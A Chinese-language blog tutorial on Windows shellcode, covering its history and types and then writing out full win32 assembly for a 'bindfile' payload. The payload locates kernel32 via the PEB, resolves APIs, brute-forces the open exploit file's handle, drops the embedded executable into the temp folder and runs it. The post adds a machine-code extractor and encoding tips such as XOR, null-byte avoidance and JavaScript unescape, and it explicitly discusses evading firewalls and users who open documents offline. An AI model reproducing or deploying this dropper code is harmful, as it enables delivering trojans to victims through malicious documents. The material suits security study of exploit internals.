今天是中秋节,正好我的文章在今天基本完成,作为中秋礼物送给大家,由于本人水平有限希望大家多多批评指正!
学习了好些日子了,思路总是乱乱的,这几天决定养成个好习惯,把自己学习的一些东西做一些总结写篇文章,以便归纳和总结,并从中能够更深刻更系统化的理解其技术原理。 今天,就从shellcode来下手吧!
说到shellcode可能都有些迷茫,不知它是什么东西,可能觉得也很神秘,对于它的专业解释也很少有人提及,今天我们就从以下几个方面来对windows下的shellcode做一个全剖析:
1. shellcode的发展历史以及定义
2. 现今常见的windows下的shellcode种类
3. 动手编写一个简单的shellcode
4. shellcode的存在形式以及编码方式
5. exploit中的shellcode
好了,下面我们就逐一来弄清楚这些问题吧!
1. shellcode的发展历史以及定义:
对于shellcode的发展历史,failewest兄的《0day安全:软件漏洞分析技术》一书中讲的很明白,这里就引用一小段:
“1996年,Aleph One在Underground发表了著名论文《SMASHING THE STACK FOR FUN AND PROFIT》,其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One演示了如何向进程中植入一段用于获得shell的代码,并在论文中称这段被植入进程的代码为’shellcode’。
后来人们干脆统一用shellcode这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等等。”
其实,现在shellcode的应用也很广泛,甚至有些远程控制软件也把自己能做成一个shellcode形式,我们只要理解这个是溢出之后干坏事的一段代码。(文章中提及的shellcode也全是跟溢出相关的shellcode)
2. 现今常见的windows下的shellcode种类
这里,我就直接从功能上来分类:
(1) 反弹端口类(shell)
这是一个真正的原始意义上的shellcode,不得不讲
(2) 下载并执行类(download&exec)
这个是最简单的一类shellcode,在网马中的应用也最广泛
(3) 生成并运行可执行文件类(bindfile)
为什么会有这么一类shellcode呢?试想想,制造漏洞的坏人如果把前面两类shellcode绑定到一个应用软件exploit里面就会出现一些意外情况:
a) 假如你的反弹行为被防火墙给拦截了怎么办?
b) 假如对方的防范意识比较高打开doc、pdf之类的文件的时候总是把网断了再打开怎么办?
哎~,早有坏人替我们想到了这些问题,他们把自己的exe也一并绑定到exploit中,shellcode的功能就是把exe释放出来,然后运行。(这个方法有点邪恶吧)
3. 动手编写一个简单的shellcode
好了,前面说了这么多废话,说一会也该练练了。
这里为了方便讲解,我就选择用win32汇编来写吧。(当然我对c更熟悉些)前面两类shellcode的例子很多,这里我就着重介绍下bindfile类shellcode的编写。
首先,让我们来理理思路,看图:
这个图是按shellcode的执行流程来画的,下面逐一来讲解。
其实shellcode就是一段自主的而且功能完善的代码,不过里面不能直接调用API函数,因为它不是运行在编译器环境下,没有include来声明函数,更没有应用程序的函数表,所以,shellcode得自己想办法找到自己调用的API函数的地址,然后强行调用了。
(1) 查找kernel32.dll基址:
shellcode里面用的API函数一般都是与用户界面无关的,因为它要干坏事,一般都是偷偷的,所以它一般用的都是kernel32.dll里面的函数。所以,我们必须先找到kernel32的基址才能进一步找到各API的地址具体地址。
关于获取api基址的方法很多,我这里就讲最简单的一种(这里面集合了众多高手的实践经验):
利用PEB查找kernel32基址:
assume fs:nothing mov eax,fs:[30h] test eax,eax js os_9x os_nt: mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+8] jmp k_finished os_9x: mov eax,[eax+34h] mov eax,[eax+7ch] mov eax,[eax+3ch] k_finished: sub esp,200 mov edi,esp mov [edi+8],eax ;获取kernel32地址
可能上面这段代码大家看的不是很明白,现在画个示意图来看看:
至于为什么这里放的就是kernel32的基址呢,这需要感谢那些经验丰富的大牛了,ms本来就是这么设计的,但是要找到这么通用的方法可不简单。同时,代码里面也对9x系统进行了判断,相信大家可以通过上面的图看明白是什么意思。
其实,还由几种思路非常清晰的动态查找方法,大家可以自己去找找相关的文章看看。我喜欢偷懒~
(2) 查找API函数地址
通过上面找到了kernel32的基址,但是我们如何得到具体的api函数地址呢?这里就需要涉及到pe文件格式了。这里我只讲解如何从dll文件中找出其函数引出表中的函数地址的方法:(班门弄斧了,见笑~)
a.在kernel32基址+0x3c处获取e_lfanewc地址,即可以得到PE头
b.在PE头偏移的0x78处得到函数引出表地址
c.在引出表的0x1c偏移处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
d. AddressOfFunctions和 AddressOfNames是函数地址和函数名通过AddressOfNameOrdinalse一一对应的两个数组
e.是这样计算的:
搜索AddressOfNames,确定“GetProcAddress”所对应的index;
index = AddressOfNameOrdinalse [ index ];
函数地址 = AddressOfFunctions [ index ];
代码:
FindApi: ;获取API函数地址子过程 push ebp push edi mov ebp,edi mov ebx,esp add ebx,8 xor edx,edx mov eax,[ebp+8] add eax,3ch ;指向PE头部偏移值e_lfanew mov eax,[eax] ;取得e_lfanew值 add eax,[ebp+8] ;指向PE header cmp dword ptr[eax],4550h ;判断是否为'PE' jne NotFound ;kernel32基址错误 mov [ebp+0ch],eax ;保存PE文件头 mov eax,[eax+78h] add eax,[ebp+8] mov [ebp+0ch],eax ;指向IMAGE_EXPORT_DIRECTORY mov eax,[eax+20h] add eax,[ebp+8] mov [ebp+4],eax ;保存函数名指针数组的指针值 mov ecx,[ebp+0ch] mov ecx,[ecx+14h] FindLoop: push ecx mov eax,[eax] add eax,[ebp+8] mov esi,ebx add esi,8 mov edi,eax mov ecx,[ebx+4] cld repe cmpsb jne FindNext add esp,4 mov eax,[ebp+0ch] mov eax,[eax+1ch] add eax,[ebp+8] shl edx,2 add eax,edx mov eax,[eax] add eax,[ebp+8] jmp Found FindNext: inc edx add dword ptr[ebp+4],4 mov eax,[ebp+4] pop ecx loop FindLoop NotFound: xor eax,eax Found: pop edi pop ebp ret
(3) 定位exe文件数据
API地址也找到了,现在剩下的就是实现功能,首先,想到的就是找到exe的数据在哪,然后我们把它ReadFile提出来然后CreateFile再WriteFile不就完了。但是,我们又面临以下两个问题:
如何找到exe数据呢?
这个问题很好回答,exe的数据就在我们的exploit文件中,接下来就有些难度了;
如何定位exploit文件呢?
我们可以考虑两种做法:
一是知道exploit文件的路径,那样就可以用CreateFile来打开它,从而获取数据,不过这种做法还面临一个困难,如何得到exploit文件的路径,当然,办法还是有的;
第二种方法就是找到exploit的文件句柄,这里先讨论一个逻辑关系,就是我们为什么可以利用这种方法,原因很简单,你的exploit其实已经打开了,只是你自己不知道它的句柄而已,这样,只要我们能群举出句柄,那么就可以直接通过句柄来读exploit里面的exe文件数据了。
上面两种方法的优缺点显而易见,第二种方法通用性更强,第一种方法虽然可以用更加巧妙的方式来实现,但是难度相对较高,而且不容易理解,所以我就以第二种方法为例来介绍,即群举句柄法:
mov dword ptr[edi+68h],1000h ;设置exe文件长度exelen xor esi,esi sHandle: inc esi push 0 push esi call dword ptr[edi+10h] cmp eax,1536 ;exploit文件大小 jne sHandle mov [edi+3ch],eax mov [edi+40h],esi ;根据文件大小群举有效句柄
这里还要办的一件事就是,在ReadFile和Writefile的时候需要申请一个空间来存放exe文件数据,这就由GlobalAlloc和GlobalFree来负责解决这个问题了,这里就不需要详细解释了。
push [edi+3ch] push 40 call dword ptr[edi+20h] mov [edi+60h],eax ;申请内存空间存储读取出来的exe文件数据 mov esi,esp add esi,100h push esi push 50h call dword ptr[edi+18h] mov ebx,esi mov [edi+44h],esi add ebx,eax add ebx,8 mov eax,esp mov esp,ebx push 'e' push 'xe.a' sub esp,8 mov esp,eax ;获取临时文件夹路径,并追加exe文件名 push 0 push 2 push 2 push 0 push 3 push 40000000h mov ebx,[edi+44h] push ebx call dword ptr[edi+1ch] ;根据exe文件路径创建exe文件 mov [edi+48h],eax push 2 push 0 push 200 push dword ptr[edi+40h] call dword ptr[edi+14h] ;设置文件指针 push 0 lea ebx,dword ptr[edi+64h] push ebx push dword ptr[edi+68h] push dword ptr[edi+60h] push dword ptr[edi+40h] call dword ptr[edi+28h] ;读取指定长度 push 0 lea ebx,dword ptr[edi+64h] push ebx push dword ptr[edi+68h] push dword ptr[edi+60h] push dword ptr[edi+48h] call dword ptr[edi+2ch] ;将读取的exe文件数据写入exe文件中
(4) 生成并运行exe
这个就比较简单了,直接看代码:
mov ebx,[edi+40h] call dword ptr[edi+30h] ;大功告成CloseHandle mov ebx,[edi+48h] push ebx call dword ptr[edi+34h] ;最终目标,运行exe文件
(5) 打扫战场,闪人
当然首先是要把前面申请的内存空间释放掉,然后用个exitprocess来结束这一切吧,一是留点善心,二是省事:
push dword ptr[edi+60h] call dword ptr[edi+24h] ;清理战场GlobalFree push 0 call dword ptr[edi+38h] ;exitprocess退出进程,以免进程卡死或报错
4. shellcode的自动提取
上面写的shellcode是用汇编写的,我们不至于把它直接拷到exploit里面去执行吧,cpu认的是机器码,所以你控制了eip之后当然得把它指到cpu能识别的指令上去吧。所以,我们得把汇编转换成机器码,网上公开的方法很多,我这里介绍一种比较简便的方法吧:既然你是用汇编写的那么你的代码在.code段的内存中应该就直接是机器码了,只需要在开始和结尾打个标记,然后把它直接从那里导出来就完了。
看代码:
.386 .model flat, stdcall option casemap:none include user32.inc include kernel32.inc includelib kernel32.lib includelib user32.lib .data sc_out db 'sc_out.txt',0 exelen dd 1000h .data? sc_start dd ? sc_end dd ? sc_len dd ? out_handle dd ? out_buff dd ? dwsize dd ? .code start: jmp scEnd; scStart: …… scEnd: mov sc_start,scStart mov sc_end, scEnd mov ebx,sc_end sub ebx,sc_start mov sc_len,ebx invoke CreateFile,offset sc_out,40000000h,3,0,2,2,0 mov out_handle,eax lea ebx,scStart mov out_buff,ebx invoke WriteFile,out_handle,out_buff,sc_len,addr dwsize,0 invoke CloseHandle,out_handle end start
5. exploit中的shellcode
在exploit中,有时候由于隐蔽性、str的0x00断开限制、JavaScript等脚本中不同的字符串格式要求下,可能shellcode会需要以不同的形式来放到exploit中。下面逐一来说明:
(1) 隐蔽性
这个一般就是对shellcode进行简单的编码,比如异或等方式
(2) Str的0x00断开限制
有时候shellcode是作为一个问题函数的参数被传入的,这个时候就必须考虑传入shellcode的完整性了,因为在字符串中往往0x00会将字符串断开,所以必须向办法在shellcode中避免0x00的出现
(3) JavaScript中的unescape
在JavaScript中所有的变量基本都是以字符串的形式或者unescape的形式存在的,没有byte这种概念,因此对于一些诸如0x00,0x01等等这些非字符串是无法表示的,最好还是用它的unescape来存在,那么就必须把的shellcode转换成它的格式来放在exploit中了,这种多见于JavaScript溢出利用中。
不知不觉写了这么多,由于本人的知识水平和表达能力有限,所以其中不免有错误之处,希望大家能够批评指正!